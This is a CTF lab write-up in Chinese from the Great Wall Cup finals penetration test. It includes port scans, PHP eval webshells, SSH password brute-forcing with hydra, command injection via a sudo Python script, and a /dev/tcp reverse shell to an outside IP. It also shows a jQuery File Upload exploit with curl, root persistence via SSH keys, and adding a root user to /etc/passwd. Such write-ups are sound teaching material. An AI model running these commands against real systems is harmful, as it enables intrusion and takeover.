企业渗透测试部分共有20个flag,初始给出三个入口,两个web(都rooted了))和一个pwn(不会),只做出来了前九个,渗透测试部分排名(13/88)

总分和二等奖后几个同分,但时间慢了,所以是三等奖,难受了

Pwn(.73)

(虽然没做出来,还是记录一下)

端口扫描

$ nmap -sS -p- --min-rate=2500 202.0.7.73
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 09:34 CST
Nmap scan report for 202.0.7.73
Host is up (0.0096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8888/tcp open  sun-answerbook
8899/tcp open  ospf-lite

8899 是一个web端口,没什么有用信息,可以通过网页连接下载到8888端口的程序,8888端口是一个pwn,漏洞点应该是格式化字符串,静态编译的.
针对8899进行信息收集什么也没找到,对这台机器的渗透测是就搁置了

web(.75)

端口扫描

先进行端口扫描,识别存活端口

$ nmap -sS -p- --min-rate=2500 202.0.7.75
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 09:47 CST
Nmap scan report for 202.0.7.75
Host is up (0.0045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

目录扫描

开放了两个web服务,先对80端口的web服务进行目录扫描

dirsearch -u http://ip

扫描到了 /uploads目录,访问,在目录下看到两个文件shell.phpshell.txt

<?php eval($_POST_[cmd]);?>

GetShell

蚁剑连接,获得的用户权限为 www-data
ccb1.png
先扫荡一下网站目录,发现bak文件,cat获得flag3,在文件dashboard.html获得flag2,hereisaflAg4中存在flag4
ccb_flag3.png
在用户athena的家目录下看到文件flag.txt(没权限)和password提示
ccb2.png
生成字典,爆破ssh密码

crunch 10 10 -t password%% > passwd
hydra -l athena -P passwd ssh://ip

密码为password76
使用ssh连接到靶机,可以获得用户家目录下的flag5

提权

sudo -l起手

athena@photosite:~$ sudo -l  
sudo: unable to resolve host photosite: Temporary failure in name resolution  
Matching Defaults entries for athena on photosite:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
User athena may run the following commands on photosite:  
    (root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py

查看cookie-gen.py的源码

import random  
import os  
import subprocess  
  
print('~ Random Cookie Generation ~')  
print('[!] for security reasons we keep logs about cookie seeds.')  
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'  
  
seed = input("Enter the seed : ")  
random.seed = seed  
  
cookie = ''  
for c in range(20):  
    cookie += random.choice(chars)  
  
print(cookie)  
  
cmd = "echo %s >> log.txt" % seed  
subprocess.Popen(cmd, shell=True)

shell=True使用shell运行命令,如果参数可控,可能导致命令注入
cmd是用户可控参数,可以通过控制seed进行命令拼接
使用 ; 进行隔离
GetRoot flag
![[ccb_root75.png]]
反弹shell

;/bin/sh -i >& /dev/tcp/192.168.101.14/1234 0>&1

维持权限

在/root/.ssh目录下写入公钥

web(.78)

端口扫描

└─# nmap -p22,80,3306,3389 -sC -sV 202.0.7.78
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 10:30 CST
Nmap scan report for 202.0.7.78
Host is up (0.0020s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 e2:a1:7d:f8:1c:6b:73:89:c4:39:69:f6:4e:73:f4:84 (RSA)
|   256 a3:d9:34:fd:1d:b6:38:65:21:8d:ba:1f:94:c3:d2:ad (ECDSA)
|_  256 4b:25:5e:31:82:62:a0:56:76:c1:ef:0c:a1:98:9c:c6 (ED25519)
80/tcp   open  http          Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Enterprise Internal Doc Uploading
| http-methods:
|_  Potentially risky methods: TRACE
3306/tcp open  mysql         MariaDB (unauthorized)
3389/tcp open  ms-wbt-server xrdp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.21 seconds

访问80端口
ccb_78.png
下载用户信息,在execl里发现flag7

目录扫描

dirsearch -u http://ip

扫描到/test
ccb_jquery.png

漏洞利用

在漏洞库搜索历史漏洞
ccb_75_vuln.png
在本地创建一个shell.php

<?php eval($_POST[1]);?>

使用poc进行利用

curl -F "files=@shell.php" http://ip/server/php/index.php

上传成功后使用蚁剑连接,在根目录下存在一个隐藏文件 .flag,查看获得flag8

提权

文件上传一个linpeas.sh
跑一下,发现/etc/passwd可写入,可以利用这个错误的安全配置创建一个具有root权限的用户

# 加盐密码
$ openssl passwd -1 -salt st4rry st4rry

st4rry:GENERATED_PASSWORD_HERE:0:0:st4rry:/root:/bin/bash加入到etc/passwd中,即可通过ssh连接(账号密码为st4rry:st4rry)
用户具有root权限,可以在/root目录下获得flag9

Hint

官方在后期发了一个公告

你们都知道环境中存在内网,但是就是找不到内网的网段,对吧,,内网中的一台机器曾经使用ssh登陆过这3个ip中的其中一个,痕迹会在什么地方呢?

在给出hint之前,使用fscan进行对网段进行存活扫描,没找到有用的信息
在给出hint之后,使用命令last查看历史登陆信息, 在已Rooted的两台机器上获取到了两个ip,在针对这两个ip进行C段存活识别未找到任何存活的IP

总结

长城杯决赛是线下断网的比赛,不能访问互联网,需要在本地留存漏洞库,这类赛题一般考察的都是信息收集,要么是内置好的恶意代码,要么是nday,
web(.75) 的机器入口点就是预留的一句话木马,通过一句话木马getshell,在靶机内进行信息收集,利用机器的漏洞再进一步提权
web(.78) 的机器入口点JQuery File Upload的历史漏洞,是可以在exploitdb中找到的,kali离线的漏洞库搜索工具searchsploit也可以找到该历史漏洞.

Last modification:July 25, 2024
请我喝瓶冰阔落吧